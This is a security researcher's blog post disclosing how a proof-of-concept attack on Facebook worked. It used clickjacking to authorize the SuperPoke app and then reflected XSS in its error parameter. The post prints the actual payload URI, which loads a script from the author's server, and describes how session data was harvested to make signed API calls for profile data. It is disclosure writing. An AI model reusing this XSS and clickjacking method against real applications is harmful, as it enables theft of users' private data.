One could argue that this was more of a SuperPoke attack, but I think it demonstrates that in many cases, hacking a Facebook application is little different from hacking Facebook.
I’ve already posted a general outline of how the attack worked, but here I’ll follow that up with more technical specifics.
The attack page, http://theharmonyguy.com/facebook-privacy/index.php, appeared to be a generic error page. The page actually loaded an invisible iframe, following a standard clickjacking model. As mentioned before, the clickjacking was only needed in case a user had not installed SuperPoke. The iframe redirected to a Facebook authorization page for SuperPoke, with the post-redirect URI containing the actual XSS attack. If a user had not authorized SuperPoke, nothing would appear to happen after the fake error page loaded, leading them to click the fake redirect link. The supposed link was positioned over the “Allow Access” button on the Facebook page. Once clicked, SuperPoke became authorized and the XSS was executed. If a user already had SuperPoke on their profile, the XSS attack executed right away without any user intervention.
The heart of the attack came in the XSS exploit. Previously, SuperPoke would load a page containing an error message if a user tried to perform a disallowed action. The error message was part of the query string for the page, and as I noticed about a year and a half ago, this message was simply added to the page without any escaping. Originally this allowed for FBML injection, but SuperPoke has since become an HTML-based application that is loaded in an iframe. Thus one could replace the error message with arbitrary HTML, including script tags. The specific URI loaded by my attack was this:
http://apps.facebook.com/superpokey/sp_main/?CXNID=1000005.6NXC&fb_force_mode=iframe&error=%3Cscript+src%3D%22http%3A%2F%2Ftheharmonyguy.com%2Fi.js%22%3E%3C%2Fscript%3E
As you can see, the “error message” in this URI is actually an encoded script tag which loads a JavaScript file stored on theharmonyguy.com. This script is then executed within the context of the application page.
Since the application page is loaded by Facebook in an iframe, Facebook automatically appends a query string containing session information to the URI of the page. The script simply checked the location variable to capture this information. It then generated a list of parameters for a Facebook API call to fql.query with a pre-written FQL query to retrieve user profile data. The session variables include fb_sig_ss, and by setting ss=1 in the API call, one can generate the MD5 signature needed to make a successful request. Publicly available JavaScript code was used to create the signature.
Originally, the script made the API call and forwarded the end user to a page (http://theharmonyguy.com/facebook-privacy/results.html) which displayed the profile data. However, I wanted to be very careful about how the profile information was transferred, and including the data in a URI made it too long to work smoothly. (Internet Explorer does not always handle extremely long addresses well.) In the end, I elected to instead transfer the URI for a JavaScript API call to the results page and let it load the data.
Hence, the first script encoded the URI using Base64 and attached that to the address of the forwarded page. (Thus my warning not to share the URI of the results page, though even if someone harvested the API call, logging out of Facebook would destroy the session variables.) The results page again checked the URI, decoded the appended data, and used a standard cross-domain JSON technique to make the API request. The page then loaded the results below my explanatory message for the user to see. Since the data was loaded and displayed at runtime, I never actually stored anyone’s profile information. Note that this landing page was hosted on theharmonyguy.com, not slide.com, apps.facebook.com, or facebook.com.
The pages are still online, though a bit modified since the original attack no longer works, thanks to SuperPoke changing the behavior of error messages on their pages. The source code is obfuscated, but clean code is available upon request (theharmonyguy via gmail.com).
This attack was merely proof-of-concept and did not take full advantage of every possibility. Notably, the XSS attack could have executed any API call available with a user session key, which includes just about any FQL query. This could have also allowed the attack to spread virally, or clickjacking could be employed to send Facebook messages on behalf of a user.
Note, however, that if a user already had SuperPoke authorized, no clickjacking was necessary to execute the payload – the user simply had to load the initial page. And since SuperPoke is a very popular application, an attacker would have a high probability of this happening. To put this in perspective, I could have been harnessing the profile data of every SuperPoke user who visited my blog recently simply by embedding an iframe in the HTML source.
As I mentioned, the API call could have been made and the profile data stored on a third-party server on initial execution. My specific attack forwarded the user to the results page as a courtesy to let them know what could have just happened. Also, if an API request was made in the initial script, Facebook would see the referer as the exploited application’s URI. The REST server would have no way to distinguish between a legitimate request and one produced by an attack.
By the way, this is another reason why I get concerned about application advertising networks, such as SocialCash, using external script access to load targeting data. Facebook can talk about monitoring privacy, but the requests made from these ad networks are also indistinguishable from requests made by an application itself.
While SuperPoke has patched the vulnerability used here, the fact remains that any other Facebook application which has an XSS hole such as this one could be exploited as well. In fact, my code in no way depends on SuperPoke, and could easily be embedded in another application with the same results.
Also, to the best of my knowledge, Facebook has not taken any measures to avoid clickjacking attacks. People can argue about how much social engineering is involved to get users to click on malicious links, but I think any security researcher can tell you such matters are not as difficult as they may sound, particularly when viral channels are available.
Again, this particular attack only scratched the surface of what could be possible in the future. For instance, this attack used clickjacking to get users to install a recreational application, but it could have easily authorized a rogue application. And while this particular attack no longer works, the larger privacy problems that made it possible remain until Facebook takes action.
Update (6/25): Newer versions of the hack utilize applications besides SuperPoke, but the technique remains the same.